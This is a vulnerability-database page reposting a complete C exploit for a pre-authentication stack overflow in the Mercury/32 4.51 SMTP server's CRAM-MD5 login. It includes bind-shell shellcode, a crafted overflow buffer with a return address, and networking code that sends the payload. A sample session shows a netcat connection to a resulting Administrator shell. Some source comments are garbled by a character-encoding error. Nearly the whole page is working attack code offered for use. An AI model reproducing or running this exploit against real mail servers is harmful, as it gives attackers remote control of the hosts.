Lucene search
K

Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Overflow Exploit

🗓️ 22 Aug 2007 00:00:00Reported by ZhenHan.LiuType 
zdt
 zdt
🔗 0day.today👁 19 Views

Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Overflow Exploi

Code
===============================================================
Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Overflow Exploit
===============================================================

/*
	Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow(Universal)
	Public Version 1.0
	http://www.ph4nt0m.org   
	2007-08-22
	
	Code by: Zhenhan.Liu
	Original POC: http://www.milw0rm.com/exploits/4294
	
	Vuln Analysis: http://pstgroup.blogspot.com/2007/08/tipsmercury-smtpd-auth-cram-md5-pre.html
	
	Our Mail-list: http://list.ph4nt0m.org  (Chinese)

  It will bind a cmdshell on port 1154 if successful.

Z:\Exp\Mercury SMTPD>mercury_smtpd.exe 127.0.0.1 25
== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow
== Public Version 1.0
== http://www.ph4nt0m.org   2007-08-22

[*] connect to 127.0.0.1:25 ... OK!
[C] EHLO void#ph4nt0m.org
[S] 220 root ESMTP server ready.
[S] 250-root Hello void#ph4nt0m.org; ESMTPs are:
250-TIME
[S] 250-SIZE 0
[S] 250 HELP
[C] AUTH CRAM-MD5
[S] 334 PDM0OTg4MjguMzQ2QHJvb3Q+
[C] Send Payload...
[-] Done! [email protected]?

Z:\Exp\Mercury SMTPD\Mercury SMTPD>nc -vv 127.0.0.1 1154
DNS fwd/rev mismatch: localhost != gnu
localhost [127.0.0.1] 1154 (?) open
Microsoft Windows XP [°?±? 5.1.2600]
(C) °?E?EuO? 1985-2001 Microsoft Corp.

e:\MERCURY>whoami
whoami
Administrator
  

*/

#include <io.h>
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")


/* win32_bind -  EXITFUNC=thread LPORT=1154 Size=317 Encoder=None http://metasploit.com */
unsigned char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x04\x82\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";



// Base64?O·u??
__inline char GetB64Char(int index)
{
    const char szBase64Table[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    if (index >= 0 && index < 64)
	return szBase64Table[index];
    
    return '=';
}


// ?OE«?OO?E?µ??O?U
#define B0(a) (a & 0xFF)
#define B1(a) (a >> 8 & 0xFF)
#define B2(a) (a >> 16 & 0xFF)
#define B3(a) (a >> 24 & 0xFF)


// ±aAe?oµA?¤¶EO»°a±EO­IA¶aO?1/3µA?????O?a?¬Ce±?O¤base64codeO??a?»µA?O?a
inline int Base64Encode(char * base64code, const char * src, int src_len) 
{   
    if (src_len == 0)
	src_len = strlen(src);
    
    int len = 0;
    unsigned char* psrc = (unsigned char*)src;
    char * p64 = base64code;
    for (int i = 0; i < src_len - 3; i += 3)
    {
	unsigned long ulTmp = *(unsigned long*)psrc;
	register int b0 = GetB64Char((B0(ulTmp) >> 2) & 0x3F); 
	register int b1 = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F); 
	register int b2 = GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F); 
	register int b3 = GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F); 
	*((unsigned long*)p64) = b0 | b1 << 8 | b2 << 16 | b3 << 24;
	len += 4;

	p64  += 4;

	psrc += 3;
    }
    
    // ?¦Ai?i?oOaIAµA?»?a3?O?UµA¶oEy?Y
    if (i < src_len)
    {
	int rest = src_len - i;
	unsigned long ulTmp = 0;
	for (int j = 0; j < rest; ++j)
	{
	    *(((unsigned char*)&ulTmp) + j) = *psrc++;
	}
	
	p64[0] = GetB64Char((B0(ulTmp) >> 2) & 0x3F); 
	p64[1] = GetB64Char((B0(ulTmp) << 6 >> 2 | B1(ulTmp) >> 4) & 0x3F); 
	p64[2] = rest > 1 ? GetB64Char((B1(ulTmp) << 4 >> 2 | B2(ulTmp) >> 6) & 0x3F) : '='; 
	p64[3] = rest > 2 ? GetB64Char((B2(ulTmp) << 2 >> 2) & 0x3F) : '='; 
	p64 += 4; 
	len += 4;
    }
    
    *p64 = '\0'; 
    
    return len;
}


char* GetErrorMessage(DWORD dwMessageId)
{
    static  char ErrorMessage[1024];
    DWORD	 dwRet;

    dwRet = FormatMessage(
							FORMAT_MESSAGE_FROM_SYSTEM, // source and processing options 
							NULL,			    // pointer to  message source 
							dwMessageId,		    // requested message identifier 
							0,			    //dwLanguageId
							ErrorMessage,		    //lpBuffer
							1024,			    //nSize	
							NULL			    //Arguments
							);

    if(dwRet)
		return ErrorMessage;
    else
    {
		sprintf(ErrorMessage, "ID:%d(%08.8X)", dwMessageId, dwMessageId);
		return ErrorMessage;
    }

}


int MakeConnection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    SOCKET s;
    int i;
    DWORD bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        return -2;
    }
    target.sin_port = htons((short)port);
    bf = 1;
    ioctlsocket(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        return -3;
    }
    if(i==0)
    {
        closesocket(s);
        return -4;
    }
    i = sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
    if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        return -5;
    }
    ioctlsocket(s,FIONBIO,&bf);
    return s;
}


int check_recv(SOCKET s, char* str_sig)
{
	char buf[1024];
	int  ret;

	for(;;)
	{
		memset(buf, 0, sizeof(buf));
		ret = recv(s, buf, sizeof(buf), 0);
		if(ret > 0)
		{
			printf("[S] %s", buf);
		}
		else
		{
			printf("[-] recv() %s\n",  GetErrorMessage(GetLastError()));
			closesocket(s);
			ExitProcess(-1);
		}

		if(strstr(buf, str_sig))
		{
			break;
		}
		else
		{
			continue;
		}
	} //for(;;)

	return ret;
}


int check_send(SOCKET s, char* buf, unsigned int buf_len)
{
	int ret;
	
	ret = send(s, buf, buf_len, 0);
	if( ret >0)
	{
		return ret;
	}
	else
	{
		printf("[-] send() %s\n", GetErrorMessage(GetLastError()));
		closesocket(s);
		ExitProcess(-1);
	}
}


void exploit_mercury_smtpd(char* ip, unsigned short port)
{
	SOCKET s;
	WSADATA wsa;
	char buf[1500];
	char payload[sizeof(buf)*4/3+16];
	int base64_len;


	memset(buf, 0x90, sizeof(buf));
	memcpy(&buf[1244-sizeof(shellcode)-32], shellcode, sizeof(shellcode));
	memcpy(&buf[1244], "\x90\x90\xeb\x06", 4);
	memcpy(&buf[1244+4], "\x2d\x12\x40\x00", 4);  //universal opcode in mercury.exe. no safeseh
	memcpy(&buf[1244+4+4], "\x90\x90\x90\x90\xE9\x44\xfd\xff\xff", 9);
	buf[sizeof(buf)-1] = '\0'; 

	memset(payload, 0x00, sizeof(payload));
	base64_len = Base64Encode(payload, buf, sizeof(buf));
	memcpy(&payload[base64_len], "\r\n", 3);

	printf("[*] connect to %s:%d ... ", ip, port);
	WSAStartup(MAKEWORD(2,2), &wsa);
	s = MakeConnection(ip, port, 10);
	if(s <= 0)
	{
		printf("Failed! %s\n",  GetErrorMessage(GetLastError()) );
		return;
	}
	else
	{
		printf("OK!\n");
	}

	_snprintf(buf, sizeof(buf), "EHLO void#ph4nt0m.org\r\n");
	printf("[C] %s", buf);
	check_send(s, buf, strlen(buf));
	check_recv(s, "250 HELP");
		
	_snprintf(buf, sizeof(buf), "AUTH CRAM-MD5\r\n");
	printf("[C] %s", buf);
	check_send(s, buf, strlen(buf));
	check_recv(s, "334");

	printf("[C] Send Payload...\n");
	check_send(s, payload, strlen(payload));
	printf("[-] Done! [email protected]?\n");
	
	closesocket(s);
	WSACleanup();
	
}

void main(int argc, char* argv[])
{
	printf("== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow\n");
	printf("== Public Version 1.0\n");
	printf("== http://www.ph4nt0m.org   2007-08-22\n");
	printf("== code by Zhenhan.Liu\n\n");
	
	
	if(argc==3)
		exploit_mercury_smtpd(argv[1], atoi(argv[2]));
	else
	{
		printf(	"Usage:\n"
				"  %s <ip> <port> \n", argv[0]);
	}
}



#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation